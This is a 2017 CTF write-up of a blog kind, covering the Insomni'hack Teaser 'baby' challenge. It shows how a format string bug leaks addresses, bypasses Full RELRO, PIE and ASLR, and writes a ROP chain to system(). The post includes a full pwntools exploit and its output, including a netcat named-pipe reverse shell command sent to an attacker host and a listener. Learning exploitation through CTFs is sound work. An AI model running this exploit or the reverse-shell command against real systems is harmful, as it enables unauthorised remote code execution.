Bypassing memory corruption mitigations with a format string vulnerability

Posted by 0xacb on January 29, 2017 · 8 mins read

I solved the pwn50 baby challenge after the end of the INSOMNI'HACK Teaser CTF. The executable contained 3 vulnerable functions: dostack, dofmt and doheap. I only used the format string vulnerability get a reverse shell. If you want to test this, make sure you create the user baby and run the challenge with sudo. The server will be running in the port 1337. First, let's take a look on the memory corruption mitigations present in this binary:

gdb-peda$ checksec
FORTIFY   : disabled
NX        : ENABLED

A format string vulnerability is really deadly because it allows arbitrary leaks and writes. However, we can't overwrite a libc function address in the GOT table because the binary was compiled with Full RELRO. Plus, the PIE protection takes full advantage of ASLR, which means that the .text address space will be random every time we execute the program. Then, we'll need to leak a .text address if we want to use some sort of ROP chain. I'm going to show you how to use format strings to bypass all these binary protections. Basically, the plan is:

  • Leak the stack address of the buffer, which is the first address leaked by the format string using %lx. We can trust in this address, since the following addresses will be different for different child processes (There is a fork() every time a new client connects).

  • Calculate where is the return address of the current function: retAddressStack = stackAddr + stackOffset. stackOffset will be constant regardless of the current child process.

  • Then, use the stack address of the return address to leak the return address itself, which is a .text address.

  • Use the stack address of the return address (or the address of the buffer) to get a libc address from the main function stack frame. First, we need to calculate where the return address of main is on the stack: mainLibcStackAddr = retAddressStack + mainLibcStackOffset. Again, this offset will be constant. Then, leak its value to get a libc address: libcAddress = leak(mainLibcStackAddr).

  • Since we have the libc from the server, we can calculate the address of system() in the libc: systemAddr = libcAddress + systemOffset.

Now, we have all the necessary information and we can start thinking about a ROP chain to get RCE, since we can't just overwrite a function in the GOT table and call it, given the Full RERLO protection. The thing is, it's possible to use format strings to write a ROP chain in the stack, but it's slower than a stack overflow, though. So, what are we going to write in the stack? A small ROP chain:

- Address of the gadget: pop rdi; ret
- Address of the command we want to execute
- Address of system()

This gadget will set the rdi register with the address of the arbitrary command. Note that rdi contains the first argument of the system function. The command will be written in the beginning of the buffer after this phase. Using the previous .text address we just need to calculate the address of the gadget: popRdiAddress = textAddress + popRdiOffset. After the ROP chain writing phase, I wrote the command in the buffer and made the function return normally by sending an empty string.

I tried to execute a reverse shell using netcat, but the netcat-traditional package was not installed in the server, which means that nc -e /bin/sh didn't work. So, we need to use pipes to make it work with netcat-openbsd as you can see in the full exploit:

from pwn import *

PORT = 4444

command = "mknod /tmp/pipe p; /bin/sh 0</tmp/pipe | nc " + HOST + " " + str(PORT) + " 1>/tmp/pipe"

target = ""
port = 1337
r = remote(target, port)

mainLibcStackOffset = 0x7fffffffeb38 - 0x7fffffffeaa8
stackOffset = 0x7fffffffe508-0x7fffffffe0f0
systemOffset = 0x7ffff7a53390 - 0x7ffff7a2e830
popRdiOffset = 0x1c8b - 0x19cf

def write2Bytes(bytes, address):
    lenFmt = "%" + str(bytes-17) + "x"
    fmtB = "B"*(24-len(lenFmt)) + lenFmt + "%13$hnBB" + p64(address)
    r.sendline(fmtB + "B"*(1023-len(fmtB)))
    s = r.recvuntil("format > ")

def writeWhatWhere(what, where):
    toWriteA = what & 0xffff
    toWriteB = (what >> 16) & 0xffff
    toWriteC = (what >> 32) & 0xffff
    toWriteD = (what >> 48) & 0xffff
    write2Bytes(toWriteA, where)
    write2Bytes(toWriteB, where+2)
    write2Bytes(toWriteC, where+4)

def leak(address):
    fmt = "A"*24 + "%13$sAAA" + p64(address)
    r.sendline(fmt + "A"*(1023-len(fmt)))
    s = r.recvuntil("format > ")
    sLeak = s[24:30].ljust(8, "\x00")
    return struct.unpack("<Q", sLeak)[0]

s = r.recvuntil("choice > ")
s = r.recvuntil("format > ")
s = r.recvuntil("format > ")
sStackAddr = "0x" + s[:s.find("\n")]
stackAddr = int(sStackAddr, 16)
retAddressStack = stackAddr + stackOffset
print("[*] Leak: stackAddr: " + str(hex(stackAddr)))
print("[*] Leak: ret address @ stack: " + str(hex(retAddressStack)))

textAddress = leak(retAddressStack)
print("[*] Leak: original ret address: " + str(hex(textAddress)))

mainLibcStackAddr = retAddressStack + mainLibcStackOffset
libcAddress = leak(mainLibcStackAddr)
print("[*] Leak: <__libc_start_main+240> address: " + str(hex(libcAddress)))

systemAddr = libcAddress + systemOffset
popRdiAddress = textAddress + popRdiOffset
print("[*] Leak: pop rdi address: " + str(hex(popRdiAddress)))

print("--- WRITING ROP CHAIN ---")
print("[*] Overwriting return address with pop rdi")
writeWhatWhere(popRdiAddress, retAddressStack)
print("[*] Writing command address")
writeWhatWhere(stackAddr+8, retAddressStack+8)
print("[*] Writing system() address")
writeWhatWhere(systemAddr, retAddressStack+16)

r.sendline("A"*8 + command)
s = r.recvuntil("format > ")


print("[*] Exploit complete. Check your reverse shell @ %s:%s" % (HOST, PORT))
[+] Opening connection to on port 1337: Done
[*] Leak: stackAddr: 0x7ffe526fc100
[*] Leak: ret address @ stack: 0x7ffe526fc518
[*] Leak: original ret address: 0x55f1410d79cf
[*] Leak: <__libc_start_main+240> address: 0x7f129d2be830
[*] Leak: pop rdi address: 0x55f1410d7c8b
[*] Overwriting return address with pop rdi
[*] Writing command address
[*] Writing system() address
[*] Exploit complete.
[*] Closed connection to port 1337
$ nc -lv 4444
Listening on [] (family 0, port 4444)
Connection from [] port 4444 [tcp/*] accepted (family 2, sport 59400)
cat flag

Got it... I'll practice some heap voodoo soon!

Final thoughts

  • Since there was also a stack overflow vulnerability, Another (easier) solution was to leak the canary value using the format string vulnerability and overflow the buffer with the same ROP chain, but maintaining the canary value unchanged.
  • Instead of calling system() with this command, you could also get a reverse shell by calling mprotect() and running shellcode.
  • The format string vulnerability can be old but it can be abused to get RCE even with the given memory corruption mitigations.